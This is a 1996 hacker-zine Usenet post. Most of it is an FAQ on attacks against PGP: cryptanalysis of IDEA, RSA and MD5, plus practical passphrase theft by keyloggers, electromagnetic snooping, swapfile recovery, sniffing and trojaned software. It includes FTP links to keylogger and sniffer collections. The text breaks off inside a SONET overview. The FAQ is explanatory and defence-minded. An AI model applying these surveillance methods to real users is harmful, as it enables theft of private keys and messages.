Subject: The Infinity Concept, Issue 3
Date: Tue, 13 Feb 1996 05:13:30 GMT
From: daemon9@netcom.com (Route)
Organization: Nexus Security Services
Newsgroups: alt.2600,comp.security.misc

                    T H E  I N F I n I T Y   C O N C E P T
                                   ```   ```
                                  `   ``    `
                                   ```   ```

                                  .oO____Oo.


                                 . Issue #3 .
                                . Winter  1996 .

-=-=-=-=-=-=-=-=-=Brought to you by the members and associates of-=-=-=-=-=-=

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-the Guild=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

------------------------------------------------------------------------------
Winter 1996             |  The Infinity Concept  |                     issue 3
------------------------------------------------------------------------------

                In this issue...

                1).The PGP Attack FAQ............Route
                2).SONET/SDH.....................Route
                3).From Japan with Love..........Nihil
                4).Telnet redirection.........Alhambra
                5).MNMT.....................Mythrandir

                                  .oO____Oo.


        [Introduction]

        The Guild is still around, still bringing you the best in today's
technologies.  Just because you have heard from us lately does not mean
we are not around, and it sure as hell does not mean we are idle....

        -Route 1/96

                                  .oO____Oo.

        ______________________________________________________________
        |The PGP Attack FAQ                                           |
        |________________________(The Feasibility of breaking PGP)____|

                                by Infinity 1/96

        --[Abstract]--

        PGP is the most widely used hybrid cryptosystem around today.  There
have been AMPLE rumours regarding it's security (or lack there of).  There
have been rumours ranging from PRZ was coerced by the Gov't into placing
backdoors into PGP, that the NSA has the ability to break RSA or IDEA in a
reasonable amount of time, and so on.  While I cannot confirm or deny these
rumours with 100% certianty, I really doubt that either is true.  This FAQ
while not in the 'traditional FAQ format' answers some questions about the
security of PGP, and should clear up some rumours...

        This FAQ is in the process of being 'html'ized.  It is currently
available at:

        http://axion.physics.ubc.ca/pgp-attack.html
        http://ucsu.colorado.edu/~cantrick/pgphafaq.html
        http://www.lava.net/~jordy/PGPAttackFAQ.html

        --[ In the near Future ]--

        - Clean this damn thing up a bit...
        - A section on PGP's handling of Primes (and some backround info on
        prime numbers)

                        [ The Feasibility of Breaking PGP ]
                             [ The PGP attack FAQ ]

                            2/96         v1.0

              by infiNity [daemon9@netcom.com / route@infonexus.com]


                        -- [Brief introduction] --

        This FAQ is a small side project I have decided to undertake.
        It was originally just going to be a rather lengthy spur-of-the
        moment post to alt.2600 in order to clear up some incorrect
        assumptions and perceptions people had about the security of
        PGP.  It has grown well beyond that...

        There are a great many misconceptions out there about how
        vulnerable Pretty Good Privacy is to attack.  This FAQ is designed
        to shed some light on the subject.  It is not an introduction to
        PGP or cryptography.  If you are not at least conversationally
        versed in either topic, readers are directed to The Infinity Concept
        issue 1, and the sci.crypt FAQ.  Both documents are available via
        ftp from infonexus.com.  This document can be found there
        as well (/pub/Philes/Cryptography/PGP/PGPattackFAQ.gz).

        PGP is a hybrid cryptosystem.  It is made up of 4 cryptographic
        elements: It contains a symmetric cipher (IDEA), an asymmetric cipher
        (RSA), a one-way hash (MD5), and a random number generator (Which is
        two-headed, actually:  it samples entropy from the user and then
        uses that to seed a PRNG).  Each is subject to a different form of
        attack.


                        1 -- [The Symmetric Cipher] -- 1

        IDEA, finalized in 1992 by Lai and Massey is a block cipher that
        operates on 64-bit blocks of data.  There have be no advances
        in the cryptanalysis of standard IDEA that are publically known.
        (I know nothing of what the NSA has done, nor does most anyone.)
        The only method of attack, therefore, is brute force.

        -- Brute Force of IDEA --

        As we all know the keyspace of IDEA is 128-bits.  In base 10
        notation that is:

                340,282,366,920,938,463,463,374,607,431,768,211,456.

        To recover a particular key, one must, on average, search half the
        keyspace.  That is 127 bits:

                170,141,183,460,469,231,731,687,303715,884,105,728.

        If you had 1,000,000,000 machines that could try 1,000,000,000
        keys/sec, it would still take all these machines longer than the
        universe as we know it has existed and then some, to find  the key.
        IDEA, as far as present technology is concerned, is not vulnerable to
        brute-force attack, pure and simple.

        -- Other attacks against IDEA --

        If we cannot crack the cipher, and we cannot brute force the
        key-space, what if we can find some weakness in the PRNG used
        by PGP to generate the psuedo-random IDEA session keys?  This
        topic is covered in more detail in section 4.



                        2 -- [The Asymmetric Cipher] -- 2

        RSA, the first full fledged public key cryptosystem was designed
        by Rivest, Shamir, and Adleman in 1977.  RSA gets it's security from
        the apparent difficulty in factoring very large composites.
        However, nothing has been proven with RSA.  It is not proved
        that factoring the public modulous is the only (best) way to
        break RSA.  There may be an as yet undiscovered way to break it.
        It is also not proven that factoring *has* to be as hard as it is.
        There exists the possiblity that an advance in number theory may lead
        to the discovery of a polynomial time factoring algorithm.  But, none
        of these things has happened, and no current research points in that
        direction.  However, 3 things that are happening and will continue
        to happen that take away from the security of RSA are: the advances
        in factoring technique, computing power and the decrease in the
        cost of computing hardware.  These things, especially the first one,
        work against the security of RSA.  However, as computing power
        increases, so does the ability to generate larger keys.  It is *much*
        easier to multiply very large primes than it is to factor the
        resulting composite (given today's understanding of number theory).

        -- The math of RSA in 7 fun-filled steps --

        To understand the attacks on RSA, it is  important to understand
        how RSA works.  Briefly:

          - Find 2 very large primes, p and q.
          - Find n=pq (the public modulous).
          - Choose e, such that e<n and relatively prime to (p-1)(q-1).
          - Compute d=e^-1 mod[(p1-)(q-1)]  OR  ed=1[mod (p-1)(q-1)].
          - e is the public exponent and d is the private one.
          - The public-key is (n,e), and the private key is (n,d).
          - p and q should never be revealed, preferably destroyed (PGP
            keeps p and q to speed operations by use of the Chinese Remainder
            Theorem, but they are kept encrypted)

          Encryption is done by dividing the target message into blocks
          smaller than n and by doing modular exponentiation:

                c=m^e mod n

          Decryption is simply the inverse operation:

                m=c^d mod n

        -- Brute Force RSA Factoring --

        An attacker has access to the public-key.  In other words, the
        attacker has e and n.  The attacker wants the private key.  In
        other words the attacker wants d.  To get d, n needs to be
        factored (which will yield p and q, which can then be used to
        calculate d).  Factoring n is the best known attack against RSA to
        date.  (Attacking RSA by trying to deduce (p-1)(q-1) is no easier
        than factoring n, and executing an exhaustive search for values of d
        is harder than factoring n.)  Some of the algorithms used for
        factoring are as follows:

        - Trial division:  The oldest and least efficient.  Exponential
        running time.  Try all the prime numbers <= sqrt(n).

        - Quadratic Sieve (QS):  The fastest algorithm for numbers smaller
        than 110 digits.

        - Multiple Polynomial Quadratic Sieve (MPQS):  Faster version of QS.

        - Double Large Prime Variation of the MPQS:  Faster still.

        - Number Field Sieve (NFS):  Currently the fastest algorithm known for
        numbers larger than 110 digits.  Was used to factor the ninth Fermat
        number.

        These algorithms represent the state of the art in warfare against
        large composite numbers (therefore agianst RSA).  The best algorithms
        have a super-polynomial (sub-exponential) running time, with the NFS
        having an asypmtotic time estimate closest to polynomial behaivior.

        Still, factoring large numbers is hard.  However, with the advances
        in number theory and computing power, it is getting easier.  In 1977
        Ron Rivest said that factoring a 125-digit number would take
        40 quadrillion years.  In 1994 RSA129 was factored using about
        5000 MIPS-years of effort from idle CPU cycles on computers across
        the Internet for eight months.  In 1995 the Blacknet key (116 digits)
        was factored using about 400 MIPS-years of effort (1 MIPS-year is
        a 1,000,000 instruction per second computer running for one year)
        from several dozen workstations and a MasPar for about three months.
        Given current trends the keysize that can be factored will only
        increase as time goes on.  The table below estimates the effort
        required to factor some common PGP-based RSA public-key modulous
        lengths using the General Number Field Sieve:

                KeySize         MIPS-years required to factor
        -----------------------------------------------------------------
                512                     30,000
                768                     200,000,000
                1024                    300,000,000,000
                2048                    300,000,000,000,000,000,000


        The next chart shows some estimates for the equivalences in brute
        force key searches of symmetric keys and brute force factoring
        of asymmetric keys, using the NFS.

                Symmetric                       Asymmetric
        ------------------------------------------------------------------
                56-bits                         384-bits
                64-bits                         512-bits
                80-bits                         768-bits
                112-bits                        1792-bits
                128-bits                        2304-bits

        It was said by the 4 men who factored the Blacknet key that
        "Organizations with 'more modest' resources can almost certainly
        break 512-bit keys in secret right now."  This is not to say
        that such an organization would be interested in devoting so
        much computing power to break just anyone's messages.  However, most
        people using cryptography do not rest comfortably knowing the
        system they trust their secrets to can be broken...

        My advice as always is to use the largest key allowable by the
        implementation.  If the implementation does not allow for large
        enough keys to satisfy your paranoia, do not use that implementation.

        -- Esoteric RSA attacks --

        These attacks do not exhibit any profound weakness in RSA itself,
        just in certian implementations of the protocol.  Most are not
        issues in PGP.

        -- Choosen cipher-text attack --

        An attacker listens in on the insecure channel in which RSA
        messages are passed.  The attacker collects an encrypted message
        c, from the target (destined for some other party).  The attacker
        wants to be able to read this message without having to mount a
        serious factoring effort.  In other words, she wants m=c^d.

        To recover m, the attacker first chooses a random number, r<n.
        (The attacker has the public-key (e,n).)  The attacker computes:

                x=r^e mod n (She encrypts r with the target's public-key)

                y=xc mod n (Multiplies the target ciphertext with the temp)

                t=r^-1 mod n (Multiplicative inverse of r mod n)

        The attacker counts on the fact property that:

                If x=r^e mod n, Then r=x^d mod n

        The attacker then gets the target to sign y with her private-key,
        (which actually decrypts y) and sends u=y^d mod n to the
        attacker.  The attacker simply computes:

        tu mod n = (r^-1)(y^d) mod n = (r^-1)(x^d)(c^d) mod n = (c^d) mod n

                                = m

        To foil this attack do not sign some random document presented to
        you.  Sign a one-way hash of the message instead.

        -- Low encryption exponent e --

        As it turns out, e being a small number does not take away from the
        security of RSA.  If the encryption exponent is small (common values
        are 3,17, and 65537) then public-key operations are significantly
        faster.  The only problem in using small values for e  as a public
        exponent is in encrypting small messages.  If we have 3 as our e
        and we have an m smaller than the cubic root of n, then the message
        can be recovered simply by taking the cubic root of m beacuse:

                m [for m<= 3rdroot(n)]^3 mod n will be equivalent to m^3

                and therefore:

                3rdroot(m^3) = m.

        To defend against this attack, simply pad the message with a nonce
        before encryption, such that m^3 will always be reduced mod n.

        PGP uses a small e for the encryption exponent, by default it tries
        to use 17.  If it cannot compute d with e being 17, PGP will iterate
        e to 19, and try again...  PGP also makes sure to pad m with a random
        value so m > n.

        -- Timing attack against RSA --

        A very new area of attack publically discovered by Paul Kocher deals
        with the fact that different cryptographic operations (in this case
        the modular exponentiation operations in RSA) take discretely different
        amounts of time to process.  If the RSA computations are done without
        the Chinese Remainder theorem, the following applies:

        An attacker can exploit slight timing differences in RSA computations
        to, in many cases, recover d.  The attack is a passive one where the
        attacker sits on a network and is able to observe the RSA operations.

        The attacker passively observes k operations measuring the time t
        it takes to compute each modular exponentation operation:
        m=c^d mod n.  The attacker also knows c and n.  The psuedo code of
        the attack:

        Algorithm to compute m=c^d mod n:

        Let m0 = 1.
        Let c0 = x.
        For i=0 upto (bits in d-1):
                If (bit i of d) is 1 then
                        Let mi+1 = (mi * ci) mod n.
                Else
                        Let mi+1 = mi.
                Let di+1 = di^2 mod n.
        End.

        This is very new (the public announcement was made on 12/7/95)
        and intense scrutiny of the attack has not been possible.  However,
        Ron Rivest had this to say about countering it:

-------------------------------------------BEGIN INCLUDED TEXT---------------

From: Ron Rivest <rivest>
Newsgroups: sci.crypt
Subject: Re: Announce: Timing cryptanalysis of RSA, DH, DSS
Date: 11 Dec 1995 20:17:01 GMT
Organization: MIT Laboratory for Computer Science

The simplest way to defeat Kocher's timing attack is to ensure that the
cryptographic computations take an amount of time that does not depend on the
data being operated on.  For example, for RSA it suffices to ensure that
a modular multiplication always takes the same amount of time, independent of
the operands.

A second way to defeat Kocher's attack is to use blinding: you "blind" the
data beforehand, perform the cryptographic computation, and then unblind
afterwards.  For RSA, this is quite simple to do.  (The blinding and
unblinding operations still need to take a fixed amount of time.) This doesn't
give a fixed overall computation time, but the computation time is then a
random variable that is independent of the operands.
-
==============================================================================
Ronald L. Rivest  617-253-5880  617-253-8682(Fax) rivest@theory.lcs.mit.edu
==============================================================================

---------------------------------------------END INCLUDED TEXT---------------

        The blinding Rivest speaks of simply introduces a random value into
        the decryption process.  So,

                m = c^d mod n

        becomes:

                m = r^-1(cr^e)^d mod n

        r is the random value, and r^-1 is it's inverse.

        PGP is not vulnerable to the timing attack as it uses the CRT to
        speed RSA operations.  Also, since the timing attack requires an
        attacker to observe the cryptographic operations in real time (ie:
        snoop the decryption process from start to finish) and most people
        encrypt and decrypt off-line, it is further made inpractical.

        While the attack is definitly something to be wary of, it is
        theorectical in nature, and has not been done in practice as of
        yet.

        -- Other RSA attacks --

        There are other attacks against RSA, such as the common modulous
        attack in which several users share n, but have different values
        for e and d.  Sharing a common modulous with several users, can
        enable an attacker to recover a message without factoring n.  PGP
        does not share public-key modulous' among users.

        If d is up to one quarter the size of n and e is less than n, d
        can be recovered without factoring.  PGP does not choose small
        values for the decryption exponent.  (If d were too small it might
        make a brute force sweep of d values feasible which is obviously a
        bad thing.)

        -- Keysizes --

        It is pointless to make predictions for recommended keysizes.
        The breakneck speed at which technology is advancing makes it
        difficult and dangerous.  Respected cryptographers will not make
        predictions past 10 years and I won't embarass myself trying to
        make any.  For today's secrets, a 1024-bit is probably safe and
        a 2048-bit key definitely is.  I wouldn't trust these numbers
        past the end of the century.  However, it is worth mentioning that
        RSA would not have lastest this long if it was as fallible as some
        crackpots with middle initials would like you to believe.

                        3 -- [The one-way hash] -- 3

        MD5 is the one-way hash used to hash the passphrase into the IDEA
        key and to sign documents.  Message Digest 5 was designed by Rivest
        as a sucessor to MD4 (which was found to be weakened with reduced
        rounds).  It is slower but more secure.  Like all one-way hash
        functions, MD5 takes an arbitrary-length input and generates a unique
        output.

        -- Brute Force of MD5 --

        The strength of any one-way hash is defined by how well it can
        randomize an arbitrary message and produce a unique output.  There
        are two types of brute force attacks against a one-way hash
        function, pure brute force (my own terminolgy) and the birthday
        attack.

        -- Pure Brute Force Attack against MD5 --

        The output of MD5 is 128-bits.  In a pure brute force attack,
        the attacker has access to the hash of message H(m).  She wants
        to find another message m' such that:

                        H(m) = H(m').

        To find such message (assuming it exists) it would take a machine
        that could try 1,000,000,000 messages per second about 1.07E22
        years.  (To find m would require the same amount of time.)


        -- The birthday attack against MD5 --

        Find two messages that hash to the same value is known as a collision
        and is exploited by the birthday attack.

        The birthday attack is a statistical probability problem.  Given
        n inputs and k possible outputs, (MD5 being the function to take
        n -> k) there are n(n-1)/2 pairs of inputs.  For each pair, there
        is a probability of 1/k of both inputs producing the same output.
        So, if you take k/2 pairs, the probability will be 50% that a
        matching pair will be found.  If n > sqrt(k), there is a good chance
        of finding a collision.  In MD5's case, 2^64 messages need to be
        tryed.  This is not a feasible attack given today's technology.  If
        you could try 1,000,000 messages per second, it would take 584,942
        years to find a collision. (A machine that could try 1,000,000,000
        messages per second would take 585 years, on average.)

        For a successful account of the birthday against crypt(3), see:
        url:

   ftp://ftp.infonexus.com/pub/Philes/Cryptography/crypt3Collision.txt.gz

        -- Other attacks against MD5 --

        Differential cryptanalysis has proven to be effective against one
        round of MD5, but not against all 4 (differential cryptanalysis
        looks at ciphertext pairs whose plaintexts has specfic differences
        and analyzes these differences as they propagate through the cipher).

        There was successful attack at the compression function itself that
        produces collsions, but this attack has no practical impact the
        security.  If your copy of PGP has had the MD5 code altered to
        cause these collisions, it would fail the message digest
        verification and you would reject it as altered... Right?

        -- Passphrase Length and Information Theory --

        According to conventional information theory, the English language
        has about 1.3 bits of entropy (information) per 8-bit character.
        If the pass phrase entered is long enough, the reuslting MD5 hash will
        be statisically random.  For the 128-bit output of MD5, a pass phrase
        of about 98 characters will provide a random key:

                (8/1.3) * (128/8) = (128/1.3) = 98.46 characters

        How many people use a 98 character passphrase for you secret-key
        in PGP?  Below is 98 characters...

        123456789012345678901234567890123456789012356789012345678901234567\
        \890123456789012345678

        1.3 comes from the fact that an arbitrary readable English sentence
        is usually going to consist of certian letters, (e,r,s, and t are
        statiscally very common) thereby reducing it's entropy.  If any of the
        26 letters in the Latin alphabet were equally possible and likely
        (which is seldom the case) the entropy increases.  The so-called
        absolute rate would, in this case, be:

                log(26) / log(2) = 4.7 bits

        In this case of increased entropy, a password with a truly random
        sequence of English characters will only need to be:

                (8/4.7) * (128/8) = (128/4.7) = 27.23 characters

        For more info on passphrase length, see the PGP passphrase FAQ:

        http://www.stack.urc.tue.nl/~galactus/remailers/passphrase-faq.html
        ftp://ftp.infonexus.com/pub/Philes/Cryptography/PGP/PGPpassphraseFAQ.gz

                        4 -- [The PRNG] -- 4

        PGP employs 2 PRNG's to generate and manipulate (psuedo) random data.
        The ANSI X9.17 generator and a function which measures the entropy
        from the latency in a user's keystrokes.  The random pool (which is
        the randseed.bin file) is used to seed the ANSI X9.17 PRNG (which uses
        IDEA, not 3DES).  Randseed.bin is initially generated from trueRand
        which is the keystroke timer.  The X9.17 generator is pre-washed with
        an MD5 hash of the plaintext and postwashed with some random data
        which is used to generate the next randseed.bin file.  The process is
        broken up and discussd below.

        -- ANSI X9.17 (cryptRand) --

        The ANSI X9.17 is the method of key generation PGP uses. It is
        oficially specified using 3DES, but was easily converted to IDEA.
        X9.17 requires 24 bytes of random data from randseed.bin.  (PGP
        keeps an extra 384 bytes of state information for other uses...)
        When cryptRand starts, the randseed.bin file is washed (see below)
        and the first 24-bytes are used to initialize X9.17.  It works as
        follows:

        E() = an IDEA encryption, with a reusable key used for key generation
        T = timestamp (data from randseed.bin used in place of timestamp)
        V = Initialization Vector, from randseed.bin
        R = random session key to be generated

        R = E[E(T) XOR V]

        the next V is generated thusly:

        V = E[E(T) XOR R]

        -- Latency Timer (trueRand) --

        The trueRand generator attempts to measure entropy from the latency
        of a user's keystrokes every time the user types on the keyboard.  It
        is used to generate the initial randseed.bin which is in turn used to
        seed to X9.17 generator.
        The quality of the output of trueRand is dependent upon it's input.
        If the input has a low amount of entropy, the output will not be as
        random as possible.  In order to maxmize the entropy, the keypresses
        should be spaced as randomly as possible.


        -- X9.17 Prewash with MD5 --

        In most situations, the attacker does not know the content of the
        plaintext being encrypted by PGP.  So, in most cases, washing the
        X9.17 generator with an MD5 hash of the plaintext, simply adds to
        security.  This is based on the assumption that this added unknown
        information will add to the entropy of the generator.
        If, in the event that the attacker has some information about the
        plaintext (perhaps the attacker knows which file was encrypted, and
        wishes to prove this fact) the attacker may be able to execute a
        known-plaintext attack against X9.17.  However, it is not likely
        that, with all the other precautions taken, that this would weaken
        the generator.

        -- Randseed.bin wash --

        The randseed is washed before and after each use.  In PGP's case
        a wash is an IDEA encryption in cipher-feedback mode.  Since IDEA
        is considered secure (see section 1), it should be just as hard to
        determine the 128-bit IDEA key as it is to glean any information from
        the wash.  The IDEA key used is the MD5 hash of the plaintext and an
        initialization vector of zero.  The IDEA session key is then generated
        as is an IV.
        The postwash is considered more secure.  More random bytes are
        generated to reinitialize randseed.bin.  These are encrypted with the
        same key as the PGP encrypted message.  The reason for this is that if
        the attacker knows the session key, she can decrypt the PGP message
        directly and would have no need to attack the randseed.bin.  (A note,
        the attacker might be more interested in the state of the
        randseed.bin, if they were attacking all messages, or the message
        that the user is expected to send next).

                        5 -- [Practical Attacks] -- 5

        Most of the attacks outlined above are either not possible or not
        feasable by the average adversary.  So, what can the average cracker
        do to subvert the otherwise stalwart security of PGP?  As it turns
        out,  there are several "doable" attacks that can be launched by the
        typical cracker.  They do not attack the cryptosystem protocols
        themselves, (which have shown to be secure) but rather system
        specific implementations of PGP.

        -- Passive Attacks (Snooping) --

        These attacks do not do need to do anything proactive and can easily
        go undetected.

        -- Keypress Snooping  --

        Still a very effective method of attack, keypress snooping can subvert
        the security of the strongest cryptosystem.  If an attacker can
        install a keylogger, and capture the passphrase of an unwary target,
        then no cryptanalysis whatsoever is necessary.  The attacker has the
        passphrase to unlock the RSA private key.  The system is completely
        compromised.
        The methods vary from system to system, but I would say DOS-based PGP
        would be the most vulnerable.  DOS is the easiest OS to subvert, and
        has the most key-press snooping tools that I am aware of.  All an
        attacker would have to do would be gain access to the machine for
        under 5 minutes on two seperate occasions and the attack would be
        complete.  The first time to install the snooping software, the second
        time, to remove it, and recover the goods. (If the machine is on a
        network, this can all be done *remotely* and the ease of the attack
        increases greatly.)  Even if the target boots clean, not loading any
        TSR's, a boot sector virus could still do the job, transparently.
        Just recently, the author has discovered a key logging utility for
        Windows, which expands this attack to work under Windows-based PGP
        shells (this logger is available from the infonexus via ftp, BTW).
        ftp://ftp.infonexus.com/pub/ToolsOfTheTrade/DOS/KeyLoggers/

        Keypress snooping under Unix is a bit more complicated, as root
        access is needed, unless the target is entering her passphrase from
        an X-Windows GUI.  There are numerous key loggers available to
        passively observe keypresses from an X-Windows session.  Check:
        ftp://ftp.infonexus.com/pub/SourceAndShell/Xwindows/

        -- Van Eck Snooping --

        The original invisible threat.  Below is a clip from a posting by
        noted information warfare guru Winn Schwartau describing a Van Eck
        attack:

-------------------------------------------BEGIN INCLUDED TEXT---------------

Van Eck Radiation Helps Catch Spies

"Winn Schwartau" < p00506@psilink.com >
Thu, 24 Feb 94 14:13:19 -0500

Van Eck in Action

Over the last several years, I have discussed in great detail how the
electromagnetic emissions from personal computers (and electronic gear in
general) can be remotely detected without a hard connection and the
information on the computers reconstructed.  Electromagnetic eavesdropping is
about insidious as you can get: the victim doesn't and can't know that anyone
is 'listening' to his computer.  To the eavesdropper, this provides an ideal
means of surveillance: he can place his eavesdropping equipment a fair
distance away to avoid detection and get a clear representation of what is
being processed on the computer in question.  (Please see previous issues of
Security Insider Report for complete technical descriptions of the
techniques.)

The problem, though, is that too many so called security experts, (some
prominent ones who really should know better) pooh-pooh the whole concept,
maintaining they've never seen it work.  Well, I'm sorry that none of them
came to my demonstrations over the years, but Van Eck radiation IS real and
does work.  In fact, the recent headline grabbing spy case illuminates the
point.

Exploitation of Van Eck radiation appears to be responsible, at least in part,
for the arrest of senior CIA intelligence officer Aldrich Hazen Ames on
charges of being a Soviet/Russian mole.  According to the Affidavit in support
of Arrest Warrant, the FBI used "electronic surveillance of Ames' personal
computer and software within his residence," in their search for evidence
against him.  On October 9, 1993, the FBI "placed an electronic monitor in his
(Ames') computer," suggesting that a Van Eck receiver and transmitter was used
to gather information on a real-time basis.  Obviously, then, this is an ideal
tool for criminal investigation - one that apparently works quite well.  (From
the Affidavit and from David Johnston, "Tailed Cars and Tapped Telephones: How
US Drew Net on Spy Suspects," New York Times, February 24, 1994.)

>From what we can gather at this point, the FBI black-bagged Ames' house and
installed a number of surveillance devices.  We have a high confidence factor
that one of them was a small Van Eck detector which captured either CRT
signals or keyboard strokes or both.  The device would work like this:

A small receiver operating in the 22MHz range (pixel frequency) would detect
the video signals minus the horizontal and vertical sync signals.  Since the
device would be inside the computer itself, the signal strength would be more
than adequate to provide a quality source.  The little device would then
retransmit the collected data in real-time to a remote surveillance vehicle or
site where the video/keyboard data was stored on a video or digital storage
medium.

At a forensic laboratory, technicians would recreate the original screens and
data that Mr. Ames entered into his computer.  The technicians would add a
vertical sync signal of about 59.94 Hz, and a horizontal sync signal of about
27KHz.  This would stabilize the roll of the picture. In addition, the
captured data would be subject to "cleansing" - meaning that the spurious
noise in the signal would be stripped using Fast Fourier Transform techniques
in either hardware or software.  It is likely, though, that the FBI's device
contained within it an FFT chip designed by the NSA a couple of years ago to
make the laboratory process even easier.

I spoke to the FBI and US Attorney's Office about the technology used for
this, and none of them would confirm or deny the technology used "on an active
case."

Of course it is possible that the FBI did not place a monitoring device within
the computer itself, but merely focused an external antenna at Mr. Ames'
residence to "listen" to his computer from afar, but this presents additional
complexities for law enforcement.

     1. The farther from the source the detection equipment sits means that
the detected information is "noisier" and requires additional forensic
analysis to derive usable information.

     2. Depending upon the electromagnetic sewage content of the immediate
area around Mr. Ames' neighborhood, the FBI surveillance team would be limited
as to what distances this technique would still be viable.  Distance squared
attenuation holds true.

     3. The closer the surveillance team sits to the target, the more likely
it is that their activities will be discovered.

In either case, the technology is real and was apparently used in this
investigation.  But now, a few questions arise.

     1.  Does a court surveillance order include the right to remotely
eavesdrop upon the unintentional emanations from a suspect's electronic
equipment?  Did the warrants specify this technique or were they shrouded
under a more general surveillance authorization?  Interesting question for the
defense.

     2. Is the information garnered in this manner admissible in court?  I
have read papers that claim defending against this method is illegal in the
United States, but I have been unable to substantiate that supposition.

     3. If this case goes to court, it would seem that the investigators would
have to admit HOW they intercepted signals, and a smart lawyer (contradictory
allegory :-) would attempt to pry out the relevant details.  This is important
because the techniques are generally classified within the intelligence
community even though they are well understood and explained in open source
materials.  How will the veil of national security be dropped here?

To the best of my knowledge, this is the first time that the Government had
admitted the use of Van Eck (Tempest Busting etc.)  in public.  If anyone
knows of any others, I would love to know about it.

---------------------------------------------END INCLUDED TEXT---------------

        The relevance to PGP is obvious, and the threat is real.  Snooping
        the passphrase from the keyboard, and even whole messages from
        the screen are viable attacks.  This attack, however exotic it may
        seem, is not beyond the capability of anyone with some technical
        know-how and the desire to read PGP encrypted files.

        -- Memory Space Snooping --

        In a multi-user system such as Unix, the physical memory of the
        machine can be examined by anyone with the proper privaleges (usally
        root).  In comparsion with factoring a huge composite number, opening
        up the virtual memory of the system (/dev/kmem) and seeking to a
        user's page and directly reading it, is trivial.

        -- Disk Cache Snooping --

        In multitasking environments such as Windows, the OS has a nasty habit
        of paging the contents of memory to disk, usally transparently to the
        user, whenever it feels the need to free up some RAM.  This
        information can sit, in the clear, in the swapfile for varying lengths
        of time, just waiting for some one to come along and recover it.
        Again, in a networked environment where machine access can be done with
        relative impunity, this file can be stolen without the owner's consent
        or knowledge.

        -- Packet Sniffing --

        If you use PGP on a host which you access remotely, you can be
        vulnerable to this attack.  Unless you use some sort of session
        encrypting utility, such as SSH, DESlogin, or some sort of network
        protocol stack encryption (end to end or link by link) you are sending
        your passphrase, and messages across in the clear.  A packet sniffer
        sitting at a intermediate point between your terminal can capture all
        this information quietly and efficiently.  Packet sniffers are
        available at the infonexus:
        ftp://ftp.infonexus.com/pub/SourceAndShell/Sniffers/

        -- Active Attacks --

        These attacks are more proactive in nature and tend to be a bit more
        difficult to wage.

        -- Trojan Horse --

        The age old trojan horse attack is still a very effective means
        of compromise.  The concept of a trojan horse should not be foriegn
        to anyone.  An apparently harmless program that in reality is evil
        and does potentially malicious things to your computer.  How does
        this sound...:
        Some 31it3 coder has come up with a k3wl new Windows front-end to
        PGP.  All the newbies run out and ftp a copy.  It works great, with
        a host of buttons and scrollbars, and it even comes with a bunch
        of *.wav files and support for a SB AWE 32 so you can have the
        16-bit CD quality sound of a safe locking when you encrypt your
        files.  It runs in a tiny amount of memory, coded such that nothing
        leaks, it intercepts OS calls that would otherwise have it's contents
        paged to disk and makes sure all the info stays in volatile memory.
        It works great (the first Windows app thar does).  Trouble is, this
        program actually has a few lines of malevolent code that record your
        secret-key passphrase, and if it finds a modem (who doesn't have a
        modem these days?) it 'atm0's the modem and dials up a hard coded
        number to some compromised computer or modem bank and sends the info
        through.
        Possible?  Yes.  Likely?  No.


        -- Reworked Code --

        The code to PGP is publically available.  Therefore it is easy to
        modify.  If someone were to modify the sourcecode to PGP inserting
        a sneaky backdoor and leave it at some distribution point, it could
        be disasterous.  However, it is also very easy to detect.  Simply
        verify the checksums.  Patching the MD5 module to report a false
        checksum is also possible, so verify using a known good copy.
        A more devious attack would be to modify the code, compile it and
        surreptitouly plant in the target system.  In a networked environment
        this can be done without ever having physical access to the machine.


                        -- [Closing Comments] --

        I have presented factual data, statistical data, and projected data.
        Form your own conclusions.  Perhaps the NSA has found a polynomial-time
        (read: *fast*) factoring algorithm.  But we cannot dismiss an
        otherwise secure cryptosystem due to paranoia.  Of course, on the
        same token, we cannot trust cryptosystems on hearsay or assumptions of
        security.  Bottom line is this: in the field of computer security, it
        pays to be cautious.  But it doens't pay to be un-informed or
        needlessly paranoid.  Know the facts.

                        -- [Thank You's (in no particular order)] --

        PRZ, Collin Plumb, Paul Kocher, Bruce Schneier, Paul Rubin, Stephen
        McCluskey, Adam Back, Bill Unruh, Ben Cantrick, the readers of
        sci.crypt and the comp.security.* groups

                                  .oO____Oo.

        _______________________________________________________________
        |A Technical Overview of SONET/SDH                            |
        |(Synchronous Optical Network / Synchronous Digital Hierarchy)|

                                by Route

                                11/1995

                --[ABSTRACT]--

        The need for gigabit networking is exploding.  Legacy technologies
that have been around for over 20 years cannot support the delay-sensitive
data traffic of the 90's and beyond.  Applications that require substantial
amounts of bandwidth such as video-conferencing, medical imaging, and
real-time simulations need larger data pipes.  These applications need
networking protocols redesigned from the bottom up, optimized for speed and
throughput.  Providing a solid base is SONET.
        This paper assumes a decent understanding of computer networking,
including familiarity with the OSI model of network protocol design, and
knowledge of basic networking technologies and protocols.
        The purpose of this paper is to introduce you to the SONET/SDH
protocol.  I begin with a bit of background on fiber-optic technology then
describe the SONET protocol specifications.

                --[OPTICAL FIBER BASICS]--

        Research in using optical fiber (refered to as fiber) for gigabit
networking has bloomed in the past 20 years.  It's extremely high bandwidth
potential, almost lossless transmission properties and high level of
security make a very promising technology for the highspeed networks of today
and the future.  Fiber uses the properties of refraction and reflection of
light to work it's magic.  The basic makeup of a typical fiber cable has two
distinct parts: a thin strand of glass, called the core and it's outer
wrapping, called the cladding.  The core and cladding have different indices
of refraction (the core's being higher).  As a result of this, light sent
roughly straight down the core will stay in the core because any light trying
to escape the core will be reflected back into the core by the cladding.  By
transmitting light through the core, it is possible to encode bits in the form
of pulses of light.

                --[SIZE, NOT SPEED]--

        It is important to note that fiber is not faster than copper (i.e.:
the speed of light in fiber is not really faster than rate at which electrons
shove each other through copper cable).  One bit shot through a fiber cable
will take about the same time to reach the other end as would a bit shot
through a copper cable.  The distinction is made in information density
(bandwidth); many more bits can be packed per unit of fiber than can be packed
into an equivalent run of copper.  A given transmission of optical bursts
pack much more information than can be encoded in an equivalent burst of
electrons in copper cable.


                --[BANDWIDTH]--

        The bandwidth of a fiber is determined by the amount of light it can
carry.  Light passes through fiber in only three portions of the spectrum.
These bands are about 200 nanometers wide and are centered around the
wavelengths of 0.85, 1.3, and 1.5 microns.  Each of these bands has about 25
terahertz of capacity, and, since the signaling equipment used generates
1-1.4 bits/Hz, each strand of fiber has a theoretical transmission rate
between 50-75 Tbps (terabits per second).  This is 5-7,500,000 times more
